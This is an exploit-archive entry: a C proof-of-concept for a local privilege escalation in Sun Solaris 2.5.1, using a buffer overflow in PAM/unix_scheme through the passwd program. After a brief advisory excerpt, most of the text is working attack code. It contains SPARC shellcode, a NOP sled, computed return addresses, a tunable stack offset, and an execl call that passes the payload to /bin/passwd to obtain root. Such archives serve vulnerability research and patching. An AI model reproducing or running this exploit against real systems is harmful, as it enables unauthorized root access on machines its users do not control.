Sun Solaris 2.5.1 PAM / unix_scheme - 'passwd' Local Privilege Escalation

/*
source: https://www.securityfocus.com/bid/201/info

There is a buffer overflow condition on arguments in Pluggable Authentication Modules (PAM) and unix_scheme (5.4 and 5.3). Therefore, an unauthorized user could exploit this vulnerability via the passwd program to gain root access. Under SunOS 5.5.1, 5.5.1_x86, 5.5, 5.5_x86, yppasswd and nispasswd are hard links to the passwd program and therefore are also vulnerable. Under SunOS 5.4 and 5.3, passwd, yppasswd, and nispasswd are separate programs but they dynamically link unix_scheme and are affected. 
*/

/*
This is for Solaris 2.5.(1) !
With argv[1] you can modify the stack offset (+-500) if you have troubles
...
*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

#define BUF_LENGTH      1100
#define EXTRA           1200
#define STACK_OFFSET    3800
#define SPARC_NOP       0xa61cc013

u_char sparc_shellcode[] =
"\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13"
"\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
"\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a"
"\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\x82\x10\x20\x3b\x91\xd4\xff\xff"
;

u_long get_sp(void)
{
  __asm__("mov %sp,%i0 \n");
}

void main(int argc, char *argv[])
{
  char buf[BUF_LENGTH + EXTRA];
  long targ_addr;
  u_long *long_p;
  u_char *char_p;
  int i, code_length = strlen(sparc_shellcode),dso=0;

  if(argc > 1) dso=atoi(argv[1]);

  long_p =(u_long *)  buf;
    targ_addr = get_sp() - STACK_OFFSET - dso;

  for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
    *long_p++ = SPARC_NOP;

  char_p = (u_char *) long_p;

  for (i = 0; i < code_length; i++)
    *char_p++ = sparc_shellcode[i];

  long_p = (u_long *) char_p;


  for (i = 0; i < EXTRA / sizeof(u_long); i++)
    *long_p++ =targ_addr;

  printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",
  targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);
  execl("/bin/passwd", "passwd", buf,(char *) 0);
  perror("execl failed");
}